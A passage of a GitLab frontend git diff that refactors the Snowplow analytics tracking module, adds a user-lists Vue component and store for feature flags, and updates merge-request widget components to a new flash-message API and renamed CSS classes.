- throw new Error('Unable to enable form event tracking without whitelist rules.');
- }
-
- contexts.unshift(STANDARD_CONTEXT);
- const enabler = () => window.snowplow('enableFormTracking', config, contexts);
-
- if (document.readyState !== 'loading') enabler();
- else document.addEventListener('DOMContentLoaded', enabler);
- }
-
- static mixin(opts = {}) {
- return {
- computed: {
- trackingCategory() {
- const localCategory = this.tracking ? this.tracking.category : null;
- return localCategory || opts.category;
- },
- trackingOptions() {
- const options = addExperimentContext(opts);
- return { ...options, ...this.tracking };
- },
- },
- methods: {
- track(action, data = {}) {
- const category = data.category || this.trackingCategory;
- const options = {
- ...this.trackingOptions,
- ...data,
- };
- Tracking.event(category, action, options);
- },
- },
- };
- }
-}
-
-export function initUserTracking() {
- if (!Tracking.enabled()) return;
-
- const opts = { ...DEFAULT_SNOWPLOW_OPTIONS, ...window.snowplowOptions };
- window.snowplow('newTracker', opts.namespace, opts.hostname, opts);
-
- document.dispatchEvent(new Event('SnowplowInitialized'));
- Tracking.flushPendingEvents();
-}
-
-export function initDefaultTrackers() {
- if (!Tracking.enabled()) return;
-
- window.snowplow('enableActivityTracking', 30, 30);
- // must be after enableActivityTracking
- window.snowplow('trackPageView', null, [STANDARD_CONTEXT]);
-
- if (window.snowplowOptions.formTracking) window.snowplow('enableFormTracking');
- if (window.snowplowOptions.linkClickTracking) window.snowplow('enableLinkClickTracking');
-
- Tracking.bindDocument();
- Tracking.trackLoadEvents();
-}
diff --git a/app/assets/javascripts/tracking/constants.js b/app/assets/javascripts/tracking/constants.js
new file mode 100644
index 00000000000..cd0af59e4fe
--- /dev/null
+++ b/app/assets/javascripts/tracking/constants.js
@@ -0,0 +1 @@
+export const SNOWPLOW_JS_SOURCE = 'gitlab-javascript';
diff --git a/app/assets/javascripts/tracking/get_standard_context.js b/app/assets/javascripts/tracking/get_standard_context.js
new file mode 100644
index 00000000000..c318029323d
--- /dev/null
+++ b/app/assets/javascripts/tracking/get_standard_context.js
@@ -0,0 +1,14 @@
+import { SNOWPLOW_JS_SOURCE } from './constants';
+
+export default function getStandardContext({ extra = {} } = {}) {
+ const { schema, data = {} } = { ...window.gl?.snowplowStandardContext };
+
+ return {
+ schema,
+ data: {
+ ...data,
+ source: SNOWPLOW_JS_SOURCE,
+ extra: extra || data.extra,
+ },
+ };
+}
diff --git a/app/assets/javascripts/tracking/index.js b/app/assets/javascripts/tracking/index.js
new file mode 100644
index 00000000000..e0ba7dba97f
--- /dev/null
+++ b/app/assets/javascripts/tracking/index.js
@@ -0,0 +1,251 @@
+import { omitBy, isUndefined } from 'lodash';
+import { TRACKING_CONTEXT_SCHEMA } from '~/experimentation/constants';
+import { getExperimentData } from '~/experimentation/utils';
+import getStandardContext from './get_standard_context';
+
+const DEFAULT_SNOWPLOW_OPTIONS = {
+ namespace: 'gl',
+ hostname: window.location.hostname,
+ cookieDomain: window.location.hostname,
+ appId: '',
+ userFingerprint: false,
+ respectDoNotTrack: true,
+ forceSecureTracker: true,
+ eventMethod: 'post',
+ contexts: { webPage: true, performanceTiming: true },
+ formTracking: false,
+ linkClickTracking: false,
+ pageUnloadTimer: 10,
+ formTrackingConfig: {
+ forms: { allow: [] },
+ fields: { allow: [] },
+ },
+};
+
+const addExperimentContext = (opts) => {
+ const { experiment, ...options } = opts;
+ if (experiment) {
+ const data = getExperimentData(experiment);
+ if (data) {
+ const context = { schema: TRACKING_CONTEXT_SCHEMA, data };
+ return { ...options, context };
+ }
+ }
+ return options;
+};
+
+const createEventPayload = (el, { suffix = '' } = {}) => {
+ const {
+ trackAction,
+ trackEvent,
+ trackValue,
+ trackExtra,
+ trackExperiment,
+ trackContext,
+ trackLabel,
+ trackProperty,
+ } = el?.dataset || {};
+
+ const action = (trackAction || trackEvent) + (suffix || '');
+ let value = trackValue || el.value || undefined;
+ if (el.type === 'checkbox' && !el.checked) value = 0;
+
+ let extra = trackExtra;
+
+ if (extra !== undefined) {
+ try {
+ extra = JSON.parse(extra);
+ } catch (e) {
+ extra = undefined;
+ }
+ }
+
+ const context = addExperimentContext({
+ experiment: trackExperiment,
+ context: trackContext,
+ });
+
+ const data = {
+ label: trackLabel,
+ property: trackProperty,
+ value,
+ extra,
+ ...context,
+ };
+
+ return {
+ action,
+ data: omitBy(data, isUndefined),
+ };
+};
+
+const eventHandler = (e, func, opts = {}) => {
+ const el = e.target.closest('[data-track-event], [data-track-action]');
+
+ if (!el) return;
+
+ const { action, data } = createEventPayload(el, opts);
+ func(opts.category, action, data);
+};
+
+const eventHandlers = (category, func) => {
+ const handler = (opts) => (e) => eventHandler(e, func, { ...{ category }, ...opts });
+ const handlers = [];
+ handlers.push({ name: 'click', func: handler() });
+ handlers.push({ name: 'show.bs.dropdown', func: handler({ suffix: '_show' }) });
+ handlers.push({ name: 'hide.bs.dropdown', func: handler({ suffix: '_hide' }) });
+ return handlers;
+};
+
+const dispatchEvent = (category = document.body.dataset.page, action = 'generic', data = {}) => {
+ // eslint-disable-next-line @gitlab/require-i18n-strings
+ if (!category) throw new Error('Tracking: no category provided for tracking.');
+
+ const { label, property, value, extra = {} } = data;
+
+ const standardContext = getStandardContext({ extra });
+ const contexts = [standardContext];
+
+ if (data.context) {
+ contexts.push(data.context);
+ }
+
+ return window.snowplow('trackStructEvent', category, action, label, property, value, contexts);
+};
+
+export default class Tracking {
+ static queuedEvents = [];
+ static initialized = false;
+
+ static trackable() {
+ return !['1', 'yes'].includes(
+ window.doNotTrack || navigator.doNotTrack || navigator.msDoNotTrack,
+ );
+ }
+
+ static flushPendingEvents() {
+ this.initialized = true;
+
+ while (this.queuedEvents.length) {
+ dispatchEvent(...this.queuedEvents.shift());
+ }
+ }
+
+ static enabled() {
+ return typeof window.snowplow === 'function' && this.trackable();
+ }
+
+ static event(...eventData) {
+ if (!this.enabled()) return false;
+
+ if (!this.initialized) {
+ this.queuedEvents.push(eventData);
+ return false;
+ }
+
+ return dispatchEvent(...eventData);
+ }
+
+ static bindDocument(category = document.body.dataset.page, parent = document) {
+ if (!this.enabled() || parent.trackingBound) return [];
+
+ // eslint-disable-next-line no-param-reassign
+ parent.trackingBound = true;
+
+ const handlers = eventHandlers(category, (...args) => this.event(...args));
+ handlers.forEach((event) => parent.addEventListener(event.name, event.func));
+ return handlers;
+ }
+
+ static trackLoadEvents(category = document.body.dataset.page, parent = document) {
+ if (!this.enabled()) return [];
+
+ const loadEvents = parent.querySelectorAll(
+ '[data-track-action="render"], [data-track-event="render"]',
+ );
+
+ loadEvents.forEach((element) => {
+ const { action, data } = createEventPayload(element);
+ this.event(category, action, data);
+ });
+
+ return loadEvents;
+ }
+
+ static enableFormTracking(config, contexts = []) {
+ if (!this.enabled()) return;
+
+ if (!Array.isArray(config?.forms?.allow) && !Array.isArray(config?.fields?.allow)) {
+ // eslint-disable-next-line @gitlab/require-i18n-strings
+ throw new Error('Unable to enable form event tracking without allow rules.');
+ }
+
+ // Ignore default/standard schema
+ const standardContext = getStandardContext();
+ const userProvidedContexts = contexts.filter(
+ (context) => context.schema !== standardContext.schema,
+ );
+
+ const mappedConfig = {
+ forms: { whitelist: config.forms?.allow || [] },
+ fields: { whitelist: config.fields?.allow || [] },
+ };
+
+ const enabler = () => window.snowplow('enableFormTracking', mappedConfig, userProvidedContexts);
+
+ if (document.readyState !== 'loading') enabler();
+ else document.addEventListener('DOMContentLoaded', enabler);
+ }
+
+ static mixin(opts = {}) {
+ return {
+ computed: {
+ trackingCategory() {
+ const localCategory = this.tracking ? this.tracking.category : null;
+ return localCategory || opts.category;
+ },
+ trackingOptions() {
+ const options = addExperimentContext(opts);
+ return { ...options, ...this.tracking };
+ },
+ },
+ methods: {
+ track(action, data = {}) {
+ const category = data.category || this.trackingCategory;
+ const options = {
+ ...this.trackingOptions,
+ ...data,
+ };
+ Tracking.event(category, action, options);
+ },
+ },
+ };
+ }
+}
+
+export function initUserTracking() {
+ if (!Tracking.enabled()) return;
+
+ const opts = { ...DEFAULT_SNOWPLOW_OPTIONS, ...window.snowplowOptions };
+ window.snowplow('newTracker', opts.namespace, opts.hostname, opts);
+
+ document.dispatchEvent(new Event('SnowplowInitialized'));
+ Tracking.flushPendingEvents();
+}
+
+export function initDefaultTrackers() {
+ if (!Tracking.enabled()) return;
+
+ const opts = { ...DEFAULT_SNOWPLOW_OPTIONS, ...window.snowplowOptions };
+
+ window.snowplow('enableActivityTracking', 30, 30);
+ // must be after enableActivityTracking
+ const standardContext = getStandardContext();
+ window.snowplow('trackPageView', null, [standardContext]);
+
+ if (window.snowplowOptions.formTracking) Tracking.enableFormTracking(opts.formTrackingConfig);
+ if (window.snowplowOptions.linkClickTracking) window.snowplow('enableLinkClickTracking');
+
+ Tracking.bindDocument();
+ Tracking.trackLoadEvents();
+}
diff --git a/app/assets/javascripts/user_lists/components/user_list_form.vue b/app/assets/javascripts/user_lists/components/user_list_form.vue
index a0364089d68..b53aaf46ace 100644
--- a/app/assets/javascripts/user_lists/components/user_list_form.vue
+++ b/app/assets/javascripts/user_lists/components/user_list_form.vue
@@ -75,7 +75,7 @@ export default {
</template>
</gl-sprintf>
</div>
- <div class="gl-flex-fill-1 gl-ml-7">
+ <div class="gl-flex-grow-1 gl-ml-7">
<gl-form-group
label-for="user-list-name"
:label="$options.translations.nameLabel"
diff --git a/app/assets/javascripts/user_lists/components/user_lists.vue b/app/assets/javascripts/user_lists/components/user_lists.vue
new file mode 100644
index 00000000000..80be894c689
--- /dev/null
+++ b/app/assets/javascripts/user_lists/components/user_lists.vue
@@ -0,0 +1,120 @@
+<script>
+import { GlBadge, GlButton } from '@gitlab/ui';
+import { isEmpty } from 'lodash';
+import { mapState, mapActions } from 'vuex';
+import EmptyState from '~/feature_flags/components/empty_state.vue';
+import {
+ buildUrlWithCurrentLocation,
+ getParameterByName,
+ historyPushState,
+} from '~/lib/utils/common_utils';
+import { objectToQuery } from '~/lib/utils/url_utility';
+import TablePagination from '~/vue_shared/components/pagination/table_pagination.vue';
+import UserListsTable from './user_lists_table.vue';
+
+export default {
+ components: {
+ EmptyState,
+ UserListsTable,
+ GlBadge,
+ GlButton,
+ TablePagination,
+ },
+ inject: {
+ newUserListPath: { default: '' },
+ },
+ data() {
+ return {
+ page: getParameterByName('page') || '1',
+ };
+ },
+ computed: {
+ ...mapState(['userLists', 'alerts', 'count', 'pageInfo', 'isLoading', 'hasError', 'options']),
+ canUserRotateToken() {
+ return this.rotateInstanceIdPath !== '';
+ },
+ shouldRenderPagination() {
+ return (
+ !this.isLoading &&
+ !this.hasError &&
+ this.userLists.length > 0 &&
+ this.pageInfo.total > this.pageInfo.perPage
+ );
+ },
+ shouldShowEmptyState() {
+ return !this.isLoading && !this.hasError && this.userLists.length === 0;
+ },
+ shouldRenderErrorState() {
+ return this.hasError && !this.isLoading;
+ },
+ shouldRenderUserLists() {
+ return !this.isLoading && this.userLists.length > 0 && !this.hasError;
+ },
+ hasNewPath() {
+ return !isEmpty(this.newUserListPath);
+ },
+ },
+ created() {
+ this.setUserListsOptions({ page: this.page });
+ this.fetchUserLists();
+ },
+ methods: {
+ ...mapActions(['setUserListsOptions', 'fetchUserLists', 'clearAlert', 'deleteUserList']),
+ onChangePage(page) {
+ this.updateUserListsOptions({
+ /* URLS parameters are strings, we need to parse to match types */
+ page: Number(page).toString(),
+ });
+ },
+ updateUserListsOptions(parameters) {
+ const queryString = objectToQuery(parameters);
+
+ historyPushState(buildUrlWithCurrentLocation(`?${queryString}`));
+ this.setUserListsOptions(parameters);
+ this.fetchUserLists();
+ },
+ },
+};
+</script>
+<template>
+ <div>
+ <div class="gl-display-flex gl-flex-direction-column">
+ <div class="gl-display-flex gl-flex-direction-column gl-md-display-none!">
+ <gl-button v-if="hasNewPath" :href="newUserListPath" variant="confirm">
+ {{ s__('UserLists|New user list') }}
+ </gl-button>
+ </div>
+ <div
+ class="gl-display-flex gl-align-items-baseline gl-flex-direction-column gl-md-flex-direction-row gl-justify-content-space-between gl-mt-6"
+ >
+ <div class="gl-display-flex gl-align-items-center">
+ <h2 class="gl-font-size-h2 gl-my-0">
+ {{ s__('UserLists|User Lists') }}
+ </h2>
+ <gl-badge v-if="count" class="gl-ml-4">{{ count }}</gl-badge>
+ </div>
+ <div class="gl-display-flex gl-align-items-center gl-justify-content-end">
+ <gl-button v-if="hasNewPath" :href="newUserListPath" variant="confirm">
+ {{ s__('UserLists|New user list') }}
+ </gl-button>
+ </div>
+ </div>
+ <empty-state
+ :alerts="alerts"
+ :is-loading="isLoading"
+ :loading-label="s__('UserLists|Loading user lists')"
+ :error-state="shouldRenderErrorState"
+ :error-title="s__('UserLists|There was an error fetching the user lists.')"
+ :empty-state="shouldShowEmptyState"
+ :empty-title="s__('UserLists|Get started with user lists')"
+ :empty-description="
+ s__('UserLists|User lists allow you to define a set of users to use with Feature Flags.')
+ "
+ @dismissAlert="clearAlert"
+ >
+ <user-lists-table :user-lists="userLists" @delete="deleteUserList" />
+ </empty-state>
+ </div>
+ <table-pagination v-if="shouldRenderPagination" :change="onChangePage" :page-info="pageInfo" />
+ </div>
+</template>
diff --git a/app/assets/javascripts/feature_flags/components/user_lists_table.vue b/app/assets/javascripts/user_lists/components/user_lists_table.vue
index 765f59228a6..765f59228a6 100644
--- a/app/assets/javascripts/feature_flags/components/user_lists_table.vue
+++ b/app/assets/javascripts/user_lists/components/user_lists_table.vue
diff --git a/app/assets/javascripts/user_lists/store/index/actions.js b/app/assets/javascripts/user_lists/store/index/actions.js
new file mode 100644
index 00000000000..432c576694a
--- /dev/null
+++ b/app/assets/javascripts/user_lists/store/index/actions.js
@@ -0,0 +1,38 @@
+import Api from '~/api';
+import * as types from './mutation_types';
+
+export const setUserListsOptions = ({ commit }, options) =>
+ commit(types.SET_USER_LISTS_OPTIONS, options);
+
+export const fetchUserLists = ({ state, dispatch }) => {
+ dispatch('requestUserLists');
+
+ return Api.fetchFeatureFlagUserLists(state.projectId, state.options.page)
+ .then(({ data, headers }) => dispatch('receiveUserListsSuccess', { data, headers }))
+ .catch(() => dispatch('receiveUserListsError'));
+};
+
+export const requestUserLists = ({ commit }) => commit(types.REQUEST_USER_LISTS);
+export const receiveUserListsSuccess = ({ commit }, response) =>
+ commit(types.RECEIVE_USER_LISTS_SUCCESS, response);
+export const receiveUserListsError = ({ commit }) => commit(types.RECEIVE_USER_LISTS_ERROR);
+
+export const deleteUserList = ({ state, dispatch }, list) => {
+ dispatch('requestDeleteUserList', list);
+
+ return Api.deleteFeatureFlagUserList(state.projectId, list.iid)
+ .then(() => dispatch('fetchUserLists'))
+ .catch((error) =>
+ dispatch('receiveDeleteUserListError', {
+ list,
+ error: error?.response?.data ?? error,
+ }),
+ );
+};
+
+export const requestDeleteUserList = ({ commit }, list) =>
+ commit(types.REQUEST_DELETE_USER_LIST, list);
+
+export const receiveDeleteUserListError = ({ commit }, { error, list }) =>
+ commit(types.RECEIVE_DELETE_USER_LIST_ERROR, { error, list });
+export const clearAlert = ({ commit }, index) => commit(types.RECEIVE_CLEAR_ALERT, index);
diff --git a/app/assets/javascripts/user_lists/store/index/index.js b/app/assets/javascripts/user_lists/store/index/index.js
new file mode 100644
index 00000000000..9b9df59ed32
--- /dev/null
+++ b/app/assets/javascripts/user_lists/store/index/index.js
@@ -0,0 +1,11 @@
+import Vuex from 'vuex';
+import * as actions from './actions';
+import mutations from './mutations';
+import createState from './state';
+
+export default (initialState) =>
+ new Vuex.Store({
+ actions,
+ mutations,
+ state: createState(initialState),
+ });
diff --git a/app/assets/javascripts/user_lists/store/index/mutation_types.js b/app/assets/javascripts/user_lists/store/index/mutation_types.js
new file mode 100644
index 00000000000..5637ed60b7b
--- /dev/null
+++ b/app/assets/javascripts/user_lists/store/index/mutation_types.js
@@ -0,0 +1,10 @@
+export const SET_USER_LISTS_OPTIONS = 'SET_FEATURE_FLAGS_OPTIONS';
+
+export const REQUEST_USER_LISTS = 'REQUEST_USER_LISTS';
+export const RECEIVE_USER_LISTS_SUCCESS = 'RECEIVE_USER_LISTS_SUCCESS';
+export const RECEIVE_USER_LISTS_ERROR = 'RECEIVE_USER_LISTS_ERROR';
+
+export const REQUEST_DELETE_USER_LIST = 'REQUEST_DELETE_USER_LIST';
+export const RECEIVE_DELETE_USER_LIST_ERROR = 'RECEIVE_DELETE_USER_LIST_ERROR';
+
+export const RECEIVE_CLEAR_ALERT = 'RECEIVE_CLEAR_ALERT';
diff --git a/app/assets/javascripts/user_lists/store/index/mutations.js b/app/assets/javascripts/user_lists/store/index/mutations.js
new file mode 100644
index 00000000000..8e2865dc165
--- /dev/null
+++ b/app/assets/javascripts/user_lists/store/index/mutations.js
@@ -0,0 +1,37 @@
+import { parseIntPagination, normalizeHeaders } from '~/lib/utils/common_utils';
+import * as types from './mutation_types';
+
+export default {
+ [types.SET_USER_LISTS_OPTIONS](state, options = {}) {
+ state.options = options;
+ },
+ [types.REQUEST_USER_LISTS](state) {
+ state.isLoading = true;
+ },
+ [types.RECEIVE_USER_LISTS_SUCCESS](state, { data, headers }) {
+ state.isLoading = false;
+ state.hasError = false;
+ state.userLists = data || [];
+
+ const normalizedHeaders = normalizeHeaders(headers);
+ const paginationInfo = parseIntPagination(normalizedHeaders);
+ state.count = paginationInfo?.total ?? state.userLists.length;
+ state.pageInfo = paginationInfo;
+ },
+ [types.RECEIVE_USER_LISTS_ERROR](state) {
+ state.isLoading = false;
+ state.hasError = true;
+ },
+ [types.REQUEST_DELETE_USER_LIST](state, list) {
+ state.userLists = state.userLists.filter((l) => l !== list);
+ },
+ [types.RECEIVE_DELETE_USER_LIST_ERROR](state, { error, list }) {
+ state.isLoading = false;
+ state.hasError = false;
+ state.alerts = [].concat(error.message);
+ state.userLists = state.userLists.concat(list).sort((l1, l2) => l1.iid - l2.iid);
+ },
+ [types.RECEIVE_CLEAR_ALERT](state, index) {
+ state.alerts.splice(index, 1);
+ },
+};
diff --git a/app/assets/javascripts/user_lists/store/index/state.js b/app/assets/javascripts/user_lists/store/index/state.js
new file mode 100644
index 00000000000..0658d23cffc
--- /dev/null
+++ b/app/assets/javascripts/user_lists/store/index/state.js
@@ -0,0 +1,10 @@
+export default ({ projectId }) => ({
+ userLists: [],
+ alerts: [],
+ count: 0,
+ pageInfo: {},
+ isLoading: true,
+ hasError: false,
+ options: {},
+ projectId,
+});
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/approvals/approvals.vue b/app/assets/javascripts/vue_merge_request_widget/components/approvals/approvals.vue
index a5b83167283..386ba2e2d77 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/approvals/approvals.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/approvals/approvals.vue
@@ -1,6 +1,6 @@
<script>
import { GlButton } from '@gitlab/ui';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import { BV_SHOW_MODAL } from '~/lib/utils/constants';
import { s__ } from '~/locale';
import eventHub from '../../event_hub';
@@ -120,7 +120,11 @@ export default {
.then(() => {
this.fetchingApprovals = false;
})
- .catch(() => createFlash(FETCH_ERROR));
+ .catch(() =>
+ createFlash({
+ message: FETCH_ERROR,
+ }),
+ );
},
methods: {
approve() {
@@ -131,7 +135,10 @@ export default {
this.updateApproval(
() => this.service.approveMergeRequest(),
- () => createFlash(APPROVE_ERROR),
+ () =>
+ createFlash({
+ message: APPROVE_ERROR,
+ }),
);
},
approveWithAuth(data) {
@@ -142,14 +149,19 @@ export default {
this.hasApprovalAuthError = true;
return;
}
- createFlash(APPROVE_ERROR);
+ createFlash({
+ message: APPROVE_ERROR,
+ });
},
);
},
unapprove() {
this.updateApproval(
() => this.service.unapproveMergeRequest(),
- () => createFlash(UNAPPROVE_ERROR),
+ () =>
+ createFlash({
+ message: UNAPPROVE_ERROR,
+ }),
);
},
updateApproval(serviceFn, errFn) {
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/approvals/approvals_summary_optional.vue b/app/assets/javascripts/vue_merge_request_widget/components/approvals/approvals_summary_optional.vue
index 55fa24fb51a..07821b01dd5 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/approvals/approvals_summary_optional.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/approvals/approvals_summary_optional.vue
@@ -32,9 +32,9 @@ export default {
:href="helpPath"
:title="__('About this feature')"
target="_blank"
- class="d-flex-center pl-1"
+ class="d-flex-center"
>
- <gl-icon name="question" />
+ <gl-icon name="question-o" class="gl-ml-3" />
</gl-link>
</div>
</template>
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/deployment/deployment_actions.vue b/app/assets/javascripts/vue_merge_request_widget/components/deployment/deployment_actions.vue
index 513d88ecab6..671f9cb8e74 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/deployment/deployment_actions.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/deployment/deployment_actions.vue
@@ -1,5 +1,5 @@
<script>
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import { visitUrl } from '~/lib/utils/url_utility';
import { __, s__ } from '~/locale';
import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
@@ -128,7 +128,9 @@ export default {
}
})
.catch(() => {
- createFlash(errorMessage);
+ createFlash({
+ message: errorMessage,
+ });
})
.finally(() => {
this.actionInProgress = null;
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_alert_message.vue b/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_alert_message.vue
index 560a68031ef..4dc8bb0562b 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_alert_message.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_alert_message.vue
@@ -1,45 +1,46 @@
<script>
-import { GlLink, GlIcon } from '@gitlab/ui';
-import { WARNING, DANGER, WARNING_MESSAGE_CLASS, DANGER_MESSAGE_CLASS } from '../constants';
+import { GlLink, GlAlert } from '@gitlab/ui';
export default {
- name: 'MrWidgetAlertMessage',
+ name: 'MRWidgetAlertMessage',
components: {
+ GlAlert,
GlLink,
- GlIcon,
},
props: {
type: {
type: String,
- required: false,
- default: DANGER,
- validator: (value) => [WARNING, DANGER].includes(value),
+ required: true,
},
helpPath: {
type: String,
required: false,
default: undefined,
},
+ dismissible: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
},
- computed: {
- messageClass() {
- if (this.type === WARNING) {
- return WARNING_MESSAGE_CLASS;
- } else if (this.type === DANGER) {
- return DANGER_MESSAGE_CLASS;
- }
-
- return '';
+ data() {
+ return {
+ isDismissed: false,
+ };
+ },
+ methods: {
+ onDismiss() {
+ this.isDismissed = true;
},
},
};
</script>
<template>
- <div class="gl-m-3 gl-ml-7" :class="messageClass">
+ <gl-alert v-if="!isDismissed" :variant="type" :dismissible="dismissible" @dismiss="onDismiss">
<slot></slot>
- <gl-link v-if="helpPath" :href="helpPath" target="_blank">
- <gl-icon :size="16" name="question-o" class="align-middle" />
+ <gl-link v-if="helpPath" :href="helpPath" target="_blank" class="gl-label-link">
+ <slot name="link-content"></slot>
</gl-link>
- </div>
+ </gl-alert>
</template>
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_expandable_section.vue b/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_expandable_section.vue
index c368399ed6f..f8c4ad69e39 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_expandable_section.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_expandable_section.vue
@@ -51,7 +51,7 @@ export default {
<gl-icon :name="iconName" :size="24" />
</span>
- <div class="gl-display-flex gl-flex-fill-1 gl-flex-direction-column gl-md-flex-direction-row">
+ <div class="gl-display-flex gl-flex-grow-1 gl-flex-direction-column gl-md-flex-direction-row">
<slot name="header"></slot>
<div>
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_pipeline.vue b/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_pipeline.vue
index fa46b4b1364..6c162a06161 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_pipeline.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/mr_widget_pipeline.vue
@@ -160,7 +160,7 @@ export default {
<div class="ci-widget media">
<template v-if="hasCIError">
<gl-icon name="status_failed" class="gl-text-red-500" :size="24" />
- <p class="gl-flex-fill-1 gl-ml-5 gl-mb-0" data-testid="ci-error-message">
+ <p class="gl-flex-grow-1 gl-ml-5 gl-mb-0" data-testid="ci-error-message">
<gl-sprintf :message="$options.errorText">
<template #link="{ content }">
<gl-link :href="mrTroubleshootingDocsPath">{{ content }}</gl-link>
@@ -171,7 +171,7 @@ export default {
<template v-else-if="!hasPipeline">
<gl-loading-icon size="md" />
<p
- class="gl-flex-fill-1 gl-display-flex gl-ml-5 gl-mb-0"
+ class="gl-flex-grow-1 gl-display-flex gl-ml-5 gl-mb-0"
data-testid="monitoring-pipeline-message"
>
{{ $options.monitoringPipelineText }}
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/source_branch_removal_status.vue b/app/assets/javascripts/vue_merge_request_widget/components/source_branch_removal_status.vue
index d50d97e3570..9268e426954 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/source_branch_removal_status.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/source_branch_removal_status.vue
@@ -1,15 +1,14 @@
<script>
-import { GlIcon, GlSprintf, GlTooltipDirective } from '@gitlab/ui';
+import { GlIcon, GlTooltipDirective } from '@gitlab/ui';
import { __ } from '../../locale';
export default {
i18n: {
- removesBranchText: __('%{strongStart}Deletes%{strongEnd} source branch'),
+ removesBranchText: __('The source branch will be deleted'),
tooltipTitle: __('A user with write access to the source branch selected this option'),
},
components: {
GlIcon,
- GlSprintf,
},
directives: {
GlTooltip: GlTooltipDirective,
@@ -20,11 +19,7 @@ export default {
<template>
<p v-once class="mr-info-list gl-ml-7 gl-pb-5 gl-mb-0">
<span class="status-text">
- <gl-sprintf :message="$options.i18n.removesBranchText">
- <template #strong="{ content }">
- <strong>{{ content }}</strong>
- </template>
- </gl-sprintf>
+ {{ $options.i18n.removesBranchText }}
</span>
<gl-icon
v-gl-tooltip.hover
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_pipeline_blocked.vue b/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_pipeline_blocked.vue
index 6331a7d8388..68ffca9cd68 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_pipeline_blocked.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_pipeline_blocked.vue
@@ -14,8 +14,9 @@ export default {
<div class="media-body space-children">
<span class="bold">
{{
- s__(`mrWidget|Pipeline blocked.
-The pipeline for this merge request requires a manual action to proceed`)
+ s__(
+ `mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue.`,
+ )
}}
</span>
</div>
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/states/ready_to_merge.vue b/app/assets/javascripts/vue_merge_request_widget/components/states/ready_to_merge.vue
index 751f8082e1a..07de525b1fa 100644
--- a/app/assets/javascripts/vue_merge_request_widget/components/states/ready_to_merge.vue
+++ b/app/assets/javascripts/vue_merge_request_widget/components/states/ready_to_merge.vue
@@ -22,7 +22,13 @@ import { __ } from '~/locale';
import SmartInterval from '~/smart_interval';
import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import MergeRequest from '../../../merge_request';
-import { AUTO_MERGE_STRATEGIES, DANGER, INFO, WARNING } from '../../constants';
+import {
+ AUTO_MERGE_STRATEGIES,
+ DANGER,
+ CONFIRM,
+ WARNING,
+ MT_MERGE_STRATEGY,
+} from '../../constants';
import eventHub from '../../event_hub';
import mergeRequestQueryVariablesMixin from '../../mixins/merge_request_query_variables';
import MergeRequestStore from '../../stores/mr_widget_store';
@@ -191,7 +197,7 @@ export default {
},
squashIsSelected() {
if (this.glFeatures.mergeRequestWidgetGraphql) {
- return this.squashReadOnly ? this.state.squashOnMerge : this.state.squash;
+ return this.isSquashReadOnly ? this.state.squashOnMerge : this.state.squash;
}
return this.mr.squashIsSelected;
@@ -223,15 +229,11 @@ export default {
return PIPELINE_SUCCESS_STATE;
},
mergeButtonVariant() {
- if (this.status === PIPELINE_FAILED_STATE) {
+ if (this.status === PIPELINE_FAILED_STATE || this.isPipelineFailed) {
return DANGER;
}
- if (this.status === PIPELINE_PENDING_STATE) {
- return INFO;
- }
-
- return PIPELINE_SUCCESS_STATE;
+ return CONFIRM;
},
iconClass() {
if (this.shouldRenderMergeTrainHelperText && !this.mr.preventMerge) {
@@ -290,6 +292,9 @@ export default {
shaMismatchLink() {
return this.mr.mergeRequestDiffsPath;
},
+ showDangerMessageForMergeTrain() {
+ return this.preferredAutoMergeStrategy === MT_MERGE_STRATEGY && this.isPipelineFailed;
+ },
},
mounted() {
if (this.glFeatures.mergeRequestWidgetGraphql) {
@@ -503,7 +508,7 @@ export default {
v-if="shouldShowMergeImmediatelyDropdown"
v-gl-tooltip.hover.focus="__('Select merge moment')"
:disabled="isMergeButtonDisabled"
- variant="info"
+ :variant="mergeButtonVariant"
data-qa-selector="merge_moment_dropdown"
toggle-class="btn-icon js-merge-moment"
>
@@ -583,6 +588,14 @@ export default {
</gl-sprintf>
</span>
</div>
+
+ <div
+ v-if="showDangerMessageForMergeTrain"
+ class="gl-mt-5 gl-text-gray-500"
+ data-testid="failed-pipeline-merge-train-text"
+ >
+ {{ __('The latest pipeline for this merge request did not complete successfully.') }}
+ </div>
</div>
</div>
<merge-train-helper-text
diff --git a/app/assets/javascripts/vue_merge_request_widget/components/states/work_in_progress.vue b/app/assets/javascripts/vue_merge_request_widget/components/states/work_in_progress.vue
index f0c624c5d8d..a1eb77479bd 100644
